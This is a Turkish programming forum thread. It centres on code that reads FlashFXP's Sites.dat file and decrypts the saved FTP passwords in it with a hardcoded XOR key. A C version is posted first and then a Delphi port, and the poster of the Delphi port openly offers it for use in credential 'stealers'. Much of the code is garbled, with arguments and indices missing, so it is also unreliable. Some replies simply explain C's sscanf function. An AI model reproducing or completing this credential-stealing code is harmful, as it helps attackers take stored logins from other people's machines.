#include <stdio. h>#include <stdlib. h>#include <string. h>#define VER "0.2"#define BUFFSZ 4096#define USER "User="#define PASS "Pass="#ifndef WIN32 #define strnicmp strncasecmp#endif#ifndef u_char #define u_char unsigned char#endifvoid flashfxp_pwddec ;void std_err ;int main { FILE fd; u_char buff , name , user , p; setbuf ; fd = fopen("C:\\Documents and Settings\\All Users\\Application Data\\FlashFXP\\3\\Sites. dat", "rb"); if std_err ; name = 0; while(fgets { for(p = buff; p && && ; p++); p = 0; if else if(! strnicmp(buff, USER, sizeof - 1)) else if(! strnicmp(buff, PASS, sizeof - 1) && buff ) } fclose ; fputs ; fgetc ; return(0);}void flashfxp_pwddec { u_char enc, p; int len, old, new; old=0; if(! strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3"; enc = name; len = strlen >> 1; len--;sscanf(pwd, "%02X", &old); p = pwd; pwd = pwd + 2; while { sscanf(pwd, "%02X", &new); new ^= enc++; if p = new - old; p=p+1; sscanf(pwd, "%02X", &old); pwd = pwd + 2; } p = 0;}void std_err arkadaslar bu kodu delphiye cevirmek istiyorum... void flashfxp_pwddec { u_char enc, p; int len, old, new; old=0; if(! strchr(name, 0x03)) name = "yA36zA48dEhfrvghGRg57h5UlDv3"; enc = name; len = strlen >> 1; len--;sscanf(pwd, "%02X", &old); p = pwd; pwd = pwd + 2; while { sscanf(pwd, "%02X", &new); new ^= enc++; if p = new - old; p=p+1; sscanf(pwd, "%02X", &old); pwd = pwd + 2; } p = 0;} bu fonksiyonun yaptiği işi anlatabilirmisiniz?sscanf --> bu fonksiyon ne işe yariyor. biraz aciklama yaparsaniz cok faydali olacak simdiden tesekkürler. 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

Hocam biraz daha araştırdım sscanf fonksiyonu scanf 'i string için yapıyor mesela kelime içindeki boşlukları varsa onlarıda atmayıp olduğu gibi alıp kelimeleri okumaya yarayan bir fonksiyonmuş farklı zellikleride var deniyo ama ne old. yazmıyo nettede :| bi C kitabı vardı ondada elle tutulur bişi yazmıyo farklı bi rnek daha buldum yardımcı olmaz belki ama yinede incele istersen. HAFIZADA. C: main Bu programda, birkac tane degisken tanimliyoruz, ve "rakamlar" isimli diziye de, "sprintf" fonksiyonunu incelemek icin rastgele sayilar atiyoruz. Bu fonksiyon, "printf" e cok benzer. Yegane farki, ciktisini ekrana yazmak yerine, bir karakter dizisine yazmasidir. Bunu da, ilk parametresi olarak veriyoruz. Yani program bu fonksiyondan dondukten sonra, "satir" dizisinin icinde, bes tane rakam olacaktir. Ikinci ile ucuncu rakamlar arasindaki bosluk, "sscanf" fonksiyonunun bunlarinuzerinden atlamasini gormek icindir. Bunun altinda "printf" i kullanarak bu hazirladigimiz satiri yaziyoruz. Daha sonra gordugunuz, "sscanf" fonksiyonu ise, "scanf" gibi ekrandan okumak yerine, bizim "satir" dizimizden degerleri okur. Gordugunuz gibi, "sscanf" e rakamlarin konacagi dizinin adreslerini cok degisik sekillerdeverebiliyoruz. Ilk ikisi, sadece dizideki 5. ve 4. elemanlarin adreslerini index vererek tanimliyorlar, sonraki ikisi ise, dizinin baslangic adresine bir offset ekleyerek buluyorlar. Sonuncusu ise, koseli parantezi olmayan bir dizinin, o dizinin baslangic elemaninin adresini gostereceginden, hicbir sey gerektirmiyor. Bazen, bir programin ciktilarini, standart ciktidan , bir baska kutuge yoneltmek istenir. Fakat, hata mesajlarini gibi bazi mesajlari hala ekrana yollamak isteyebilirsiniz:

Function flashfxp_pwddec :String;varenc:String;p:Pointer;len:integer;old:integer;new:integer;BEGIN IF POS =0 THEN BEGIN Name:='yA36zA48dEhfrvghGRg57h5UlDv3'; END; Enc:=Name; len:=Length DIV 2; IF LEN>0 THEN DEC ;// sscanf(pwd, "%02X", &old); p := @pwd ; pwd := COPY(pwd,2, length ;// while(len>0) DO // BEGIN// sscanf(pwd, "%02X", &new);// new ^= enc++; // if THEN DEC ; // p := pointer ; // END; Result:=Name;END; { sscanf(pwd, "%02X", &old); p = pwd; pwd += 2; while 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

TXT Tesekkürler ben tamamladim :p FLASH FXP Password Decrypter. sizde kendi yazdığınız stealerlarda kullanabilirsiniz. unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ComCtrls, StdCtrls, Buttons, ImgList, PngImageList;type TForm1 = class ListView1: TListView; BitBtn1: TBitBtn; Label1: TLabel; PngImageList1: TPngImageList; procedure BitBtn1Click ; private public end;var Form1: TForm1;implementation function GetClave :String;var bytesread:dword; regKey: HKEY; valor:String;begin RegOpenKeyEx(key, PChar ,0, KEY_READ, regKey); RegQueryValueEx(regKey, PChar , nil, nil, nil,@bytesread); SetLength ; if RegQueryValueEx(regKey, PChar , nil, nil,@valor ,@bytesread)=0 then result:=valor; RegCloseKey ;end;Function HexToStr : String;var i: Integer;begin Result:=''; i:=1; While i<Length Do Begin Result:=Result+Chr(StrToIntDef('$'+Copy(s, i,2),0)); Inc(i,2); End;End;function ConvertFileToString : string;varDosya: FILE;beginFileMode := 0;AssignFile ; Reset(Dosya, 1); SetLength(result, FileSize ; BlockRead(Dosya, result , FileSize ; CloseFile ; end;Function Environ : String;var Size : Cardinal; Output : Array of Char;Begin Result := ''; FillChar(Output, SizeOf , #0); Size := SizeOf ; GetEnvironmentVariable(PChar , Output, Size); Result:=Output; End;function StrToHex : string;varI, Len: Integer;s:char;begin len:=length ; Result:=''; for i:=1 to len do begin s:=AStr ; Result:=Result + ' ' +IntToHex(Ord ,2); end; Delete(Result,1,1);end;Function DecryptFlashFxpPwd :String;varMagicArray:Array OF String;strPw:String;pwchar:Longword;magicNum:Longword;toxor:LongWord;XORWert:Integer;ArrNum:Integer;i:Integer;j:integer;t1, t2:Longword;Begin MagicArray := '79'; MagicArray := '41'; MagicArray := '33'; MagicArray := '36'; MagicArray := '7A'; MagicArray := '41'; MagicArray := '34'; MagicArray := '38'; MagicArray := '64'; MagicArray := '45'; MagicArray := '68'; MagicArray := '66'; MagicArray := '72'; MagicArray := '76'; MagicArray := '67'; MagicArray := '68'; MagicArray := '47'; MagicArray := '52'; MagicArray := '67'; MagicArray := '35'; MagicArray := '37'; MagicArray := '68'; MagicArray := '35'; MagicArray := '55'; MagicArray := '6C'; MagicArray := '44'; MagicArray := '76'; MagicArray := '33';strPw := InputStr;magicNum :=strToInt('$' + Copy(strPw, 1, 2));ArrNum := 1;i:=3;while(i<Length DoBegin If I > 28 Then ArrNum := I - 28 + 1; pwchar := strToInt('$' + Copy(strPw, i, 2)); toxor := strToInt ; If ArrNum > 1 Then Begin XORWert := - strToInt('$' + Copy(strPw, I - 2, 2)); END Else Begin XORWert := - magicNum End; If XORWert < 0 Then Begin t1 := XORWert; t2 := $FFFFFF01; XORWert := t1 - t2; End; ArrNum := ArrNum + 1; Result := Result + Chr ; inc(i,2); End;End;Function GetFLashFxpPAsswords:String; var FilePath:String; FileData:String; RetData:String; TempStr:String; xLabel:String; xProxy:String; xIP:String; xUser:String; xPass:String; xPort:String; xDsl:String; xUsl:String; xParser:String;Begin FilePath:=GetClave(HKEY_LOCAL_MACHINE,'SOFTWARE\FlashFXP\3','InstallerDathPath'); FilePath:=Pchar + '\sites. dat'; IF FileExists =False Then Exit; // FlashFxp Not Installed FileData:=ConvertFileToString ; TempStr:=FileData; xParser:=HexToStr('0D0A'); While(Pos >0) Do Begin Delete(TempStr,1, POS(HexToStr('0D0A0D0A'), TempStr)); End; FileData:=TempStr; While Pos >0 Do Begin xLabel:=Copy(FileData, Pos , Pos -2); Delete(FileData,1, Pos -1); xLabel:=Copy(xLabel, Pos +1, Pos -2); xProxy:=Copy(FileData, Pos +1, POS -5); Delete(FileData,1, Pos ; xIP:=Copy(FileData, Pos +3, POS -3); Delete(FileData,1, Pos ; xUser:=Copy(FileData, Pos +7, POS -5); Delete(FileData,1, Pos ; xPass:=DecryptFlashFxpPwd(Copy(FileData, Pos +7, POS -7)); Delete(FileData,1, Pos ; xPort:=Copy(FileData, Pos +7, POS -5); Delete(FileData,1, Pos ; xDsl:=Copy(FileData, Pos +4, POS -5); Delete(FileData,1, Pos ; xUsl:=Copy(FileData, Pos +4, POS -5); Delete(FileData,1, Pos ; RetData:=RetData+ xLabel +'|'+xProxy +'|'+ xIP +'|' + xUser +'|' + xPass +'|' + xPort +'|' + xDsl +'|' + xUsl +'|'; xLabel:=''; xProxy:=''; xIP:=''; xUser:=''; xPass:=''; xPort:=''; xDsl:=''; xUsl:=''; End; Result:=RetData;End;procedure TForm1. BitBtn1Click ;VARITEM:TLISTITEM;TempStr:String;xCounter:Integer;beginTempStr:=GetFLashFxpPAsswords;While(Pos('|', Pchar >0) Do Begin Item:=Listview1. Items. Add; Item. ImageIndex:=0; Item. Caption:=Copy(Tempstr,1, Pos -1); DELETE(TempStr,1, Pos ; For xCounter:=1 to 7 DO BEGIN Item. SubItems. Add(Copy(Tempstr,1, Pos -1)); DELETE(TempStr,1, Pos ; END; End;end;end. Iyi günler... 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

Hayırlı olsun hocam :)

yüreğinin güzel olduğuna inandığım için editledim bu yazıyı.. Biraz bilmek tehlikelidir. Ya derinliklerden iç ya da bilgeliğin tadını tatmaya kalkma! Çünkü sığ sular beyni zehirler, bol sular insanı temizler... pompey

sscanf yi ben bizzat derleyici ile debug ettim isleme girmeden nceki pwd değeri ile işlemden cikan pwd değer birbirine eşitancak new değişkenin gsterdiği adres işleme girmeden nce 0işlemden cıkınca 89 oluyor sscanf nin tam olarak ne yaptiğni anlamiş değilimyoksa çoktan bitirmiştim bunu printf ; sscanf(pwd, "%02X", &new); printf ; 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

bunlara gerek yok, connectleri backup yapıp bağlanıp url kopyala deyip, yapıştırınca passwordu kendi decrytp ediyo zaten :') Sana Verilecek En İyi Ceza Kısasa Kısastır, Şiddetli Bir Ceza Şehvete Esir Olanı Gaflet Uykusundan Uyandırır.

hocam sscanf için bazı veriler buldum ama işine yarar inş. 1 sscanf, Verilen değişkenler için bilgisayar bafırında değerleri okur. Bafıra değer yazılması doğrudan sprintf ile yapılır. Sscanf ; sscanf in yapısı aynı scanf gibidir. Bafir değişkeni yine char tipinde bir pointer veya char tipinde bir dizi olarak tanımlanmalıdır. #include #include char bafir="12 38 45"; char char; int x; float y; char string ; main / Ekran çıktısı :ch için 1, x için 12, y için 12.00 ve st için 12 / 2 Bu fonksiyon okuyacağı bilgiyi, ilk parametresinde belirtilen karakter katarından alır. Fonksiyonun stdio. h başlık dosyasında yer alan prototip bildirimi şu şekildedir :int sscanf ;sscanf fonksiyonunun diğer scanf fonksiyonlarından tek farkı, okuma işlemini ilk parametresinde belirtilen türündeki nesneden yapmasıdır. Biçimlendirme ifadesi, yine scanf ve fscanf fonksiyonlarında olduğu gibi okunan bilginin nasıl yorumlanacağını belirtir. Diğer parametreler ise bilgilerin aktarılacağı gstericilerdir.#include int main Bu rnekte de türünden bir gstericide tutulan tarih bilgisini sscanf fonksiyonu ile okuyarak gun, yil ve ay isimli nesnelere atadık.